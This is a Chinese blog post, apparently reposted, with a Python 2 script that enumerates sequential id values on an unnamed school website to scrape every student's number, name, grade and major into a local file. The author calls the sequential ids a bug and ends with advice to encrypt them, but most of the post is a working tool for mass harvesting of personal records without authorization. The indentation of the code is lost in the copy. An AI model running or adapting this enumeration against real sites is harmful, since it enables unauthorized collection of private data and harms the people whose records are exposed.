您的位置:首页 > 其它

定向爬取网页内容

2016-06-24 17:18 176 查看
该程序使用request模块来对网页的请求访问,然后获取其网页的内容,再通过re模块下的正则表达式来筛选出所要的数据。代码简单,大牛路过别喷......

首先,想要获取网页中想要的数据,就要分析网页的结构和网页内容中数据在哪个html标签中,然后分析其间的关系。如下图:



在这里仅仅只是介绍获取上面的学号、姓名、年级和专业相对应的值。由图可以知道,所有的值都是放在一个div中,并且存放值的div的设置都是一样的,而且网页中

其他的值不是以这样的形式存放,这样就可以将其内容单独取出来了。网页的内容由网址后面的id值决定,每个id值都会对应着每个人的信息,这也算是一个小小的bug吧,

通过改变id值来获取不同的页面,进而获取到每个人的信息,比如:网址为:http://xxxx.xxx.com/test/id=15525,该ID值是对应上面的信息,而且通过测试知道该id

值是连续的,而不是随机的,所以这提供猜解每个人的方法,就是将id值累加就可以将所有人的相应的信息都穷举出来。通过上面的分析,就可以将想要的数据筛选出来了。

接下来就可以着手编写相应的正则表达式来获取相应的数据,你可以在站长工具上找到相应的正则表达式编写的工具来测试,将该div下的内容粘贴过去作为查找的内容,

然后测试你的正则表达式是否编写正确,看看是否可以获取到相应字段的值。编写的正则表达式为:'<div align="left">([^<span]\s*.*\s*.*)</div>',能获取到相应的

数据,那么就可以开始整个程序的代码实现了。注意:在获取相应的数据前,应该知道网页的编码,不然可能会导致抓取下来的网页内容出现乱码现象。

首先就是导入相应的处理模块和一些变量的初始化:

#   -*-   coding:utf-8   -*-
import requests
import re

Host = ''    # 猜解的网址
# id value
stuID = 15525

# 将结果写进文件里面
path = 'H:\\python'    # 保存结果的目录
nStop = 0   # 终止猜解的标志
kShow = 0   # 简单的计数


然后就是请求网页和处理网页的内容,来获取自己想要的数据:

try:
while True:

f = open(path + 'id.docx','a')
stuID += 1
host = Host + str(stuID)
tmpValue = ''   # 用于保存所有的值
content = requests.get(host).content   # 获取网页内容
value = re.findall('<div align="left">([^<span]\s*.*\s*.*)</div>',content)   # \s 匹配任意空白字符
testValue = value[0].strip()   # 判断value列表的第一个值是否为空,是则退出循环

if testValue == '':
nStop += 1  # 用于计算,如果出现连续100个人都没有信息,才退出循环
# 这样导致有一些同学退学的,相应的ID没有信息,导致中断了?
if nStop == 100:
print('已经拆解完 ...  ')
break

print('.'),     # 简单的计数和提示
if kShow % 50 == 0:
print

for v in value:
kShow += 1
try:
val = unicode(v.strip())
tmpValue += str(v.strip().encode('utf-8')) + '   '
nStop = 0  # 这样当有信息时,将n置为0,保证了n的值当出现有值时是为0的
except UnicodeEncodeError:
print('error')

f.writelines(str(stuID)+ '   ' + tmpValue + '\r\n')  # 将信息写进文件
f.close()
except Exception,e:
print(e)
print('done ... ...')


上面就是整个程序的全部代码了,其中有些代码并没有任何意义,只是简单的提示功能,如:print('.'),在控制台下输出一个'.',表示该程序还在运行,因为该程序是将结果

直接写进一个文档中,而且没有任何的输出,如果没有提示,用户可能会误以为该程序没有正常执行或执行出现了卡死状态,这样还有一个就是可以简单的进行猜解的数量,

因为下面设置了每50个id就换行,所以还是可以初略的判断猜解的数量的,当然,你还可以在输出的前面添加序号,这样就方便计数,更可以将其使用累加方式将其计算出来。

从该例子看,这样未授权就可以访问到相应网页内容的并不少见,由于开发人员的安全意识不够,这样必会导致我们数据的泄露,就该网站来说,应该将该ID值加密,最好是

使用现有的加密方法及加上自己一些标识符混淆,而不是将其以明文方式显示出来。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: